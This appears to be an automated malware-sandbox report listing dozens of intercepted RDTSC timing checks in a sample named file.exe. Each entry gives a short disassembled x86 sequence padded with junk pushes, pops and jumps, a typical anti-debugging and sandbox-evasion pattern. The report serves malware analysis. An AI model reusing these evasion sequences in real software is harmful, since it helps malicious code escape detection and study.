Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDCC4 second address: 6EDCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F1F8CBC720Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EDCD4 second address: 6EDCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1F8C74D6FEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC608 second address: 6EC60E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC758 second address: 6EC75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC75F second address: 6EC776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 je 00007F1F8CBC7206h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jg 00007F1F8CBC7206h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC776 second address: 6EC780 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1F8C74D6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC780 second address: 6EC79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007F1F8CBC721Ch 0x0000000d jl 00007F1F8CBC7208h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 jne 00007F1F8CBC7206h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC8FB second address: 6EC8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECA4B second address: 6ECA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECBB5 second address: 6ECBCC instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F8C74D6E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push esi 0x0000000e pushad 0x0000000f ja 00007F1F8C74D6E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECBCC second address: 6ECBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECBD2 second address: 6ECBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE74 second address: 6ECE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F8CBC7206h 0x0000000a jmp 00007F1F8CBC7215h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE94 second address: 6ECE9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE9A second address: 6ECECC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1F8CBC720Ch 0x00000014 jns 00007F1F8CBC7206h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECECC second address: 6ECED6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECED6 second address: 6ECEDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED99E second address: 6ED9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED9A4 second address: 6ED9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED9AA second address: 6ED9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6F6h 0x00000009 popad 0x0000000a push eax 0x0000000b je 00007F1F8C74D6E6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007F1F8C74D6F2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4629 second address: 6F463A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F463A second address: 6F463E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F463E second address: 6F4644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4E66 second address: 6F4E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4E6C second address: 6F4E76 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4E76 second address: 6F4E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F519F second address: 6F51B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7210h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F51B3 second address: 6F51DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jne 00007F1F8C74D6E8h 0x0000000e jmp 00007F1F8C74D6F7h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAD07 second address: 6FAD1A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1F8CBC7208h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b jnl 00007F1F8CBC7206h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE801 second address: 6FE805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE805 second address: 6FE813 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE813 second address: 6FE817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE817 second address: 6FE81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE045 second address: 6FE060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F6h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE1B3 second address: 6FE1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1F8CBC7206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE1BD second address: 6FE1C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE1C1 second address: 6FE1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1F8CBC720Eh 0x0000000c jnl 00007F1F8CBC7206h 0x00000012 push edi 0x00000013 pop edi 0x00000014 jne 00007F1F8CBC720Ch 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7069CA second address: 7069D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CCA second address: 704CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC720Eh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CE3 second address: 704CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CE9 second address: 704CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1F8CBC7206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704CF3 second address: 704D51 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F8C74D6E6h 0x00000008 jmp 00007F1F8C74D6F8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F1F8C74D6EEh 0x00000017 jmp 00007F1F8C74D6EDh 0x0000001c push eax 0x0000001d push edx 0x0000001e jnp 00007F1F8C74D6E6h 0x00000024 jmp 00007F1F8C74D6F6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705057 second address: 705060 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7054B4 second address: 7054D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F8C74D6F3h 0x0000000d jbe 00007F1F8C74D6E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70578E second address: 705794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705794 second address: 70579F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1F8C74D6E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70579F second address: 7057A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7058DD second address: 7058E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7058E6 second address: 7058F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7046DC second address: 7046E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F385 second address: 70F3AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC720Eh 0x00000009 popad 0x0000000a jnl 00007F1F8CBC7208h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 jmp 00007F1F8CBC720Ah 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70F3AF second address: 70F3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71125F second address: 711288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnc 00007F1F8CBC7220h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711288 second address: 7112D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F4h 0x00000007 push eax 0x00000008 jmp 00007F1F8C74D6F8h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1F8C74D6F5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711111 second address: 711115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD13 second address: 71CD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD26 second address: 71CD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD2C second address: 71CD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD30 second address: 71CD3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CD3A second address: 71CD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724D66 second address: 724D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724D6C second address: 724D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C820 second address: 73C82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1F8CBC7206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C82A second address: 73C853 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1F8C74D6F7h 0x0000000f jl 00007F1F8C74D6ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C853 second address: 73C878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 jl 00007F1F8CBC7206h 0x0000000d jbe 00007F1F8CBC7206h 0x00000013 pop edi 0x00000014 jnp 00007F1F8CBC720Eh 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jno 00007F1F8CBC7206h 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C878 second address: 73C87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C87E second address: 73C89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F1F8CBC7212h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C9C2 second address: 73C9DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6ECh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F1F8C74D6E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C9DD second address: 73C9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C9E1 second address: 73C9F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F1F8C74D6FDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CCA1 second address: 73CCC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7212h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d je 00007F1F8CBC7206h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CDF7 second address: 73CE2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F1F8C74D6F8h 0x00000008 pop edx 0x00000009 jns 00007F1F8C74D6F5h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CE2F second address: 73CE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CFA2 second address: 73CFA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D97A second address: 73D986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1F8CBC7206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D986 second address: 73D9B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6F8h 0x00000009 popad 0x0000000a jmp 00007F1F8C74D6ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74144D second address: 74145B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F1F8CBC7206h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F876 second address: 74F87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F87E second address: 74F883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F883 second address: 74F8A5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F8C74D6EAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F1F8C74D6E6h 0x00000010 jmp 00007F1F8C74D6EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F8A5 second address: 74F8A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CBD9 second address: 75CBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1F8C74D6E6h 0x0000000a popad 0x0000000b jmp 00007F1F8C74D6EBh 0x00000010 jng 00007F1F8C74D6E8h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CBFA second address: 75CC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1F8CBC7206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C3DF second address: 76C405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F8C74D6F9h 0x0000000c jno 00007F1F8C74D6E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C6D2 second address: 76C6EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F8CBC7212h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76CB7A second address: 76CB7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76CB7E second address: 76CB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E88C second address: 76E890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E890 second address: 76E8C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1F8CBC7214h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1F8CBC7219h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E8C3 second address: 76E8CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E8CB second address: 76E8E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F8CBC720Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E8E1 second address: 76E902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E902 second address: 76E906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E906 second address: 76E90E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77128C second address: 771292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BD3 second address: 772BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772BD9 second address: 772BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
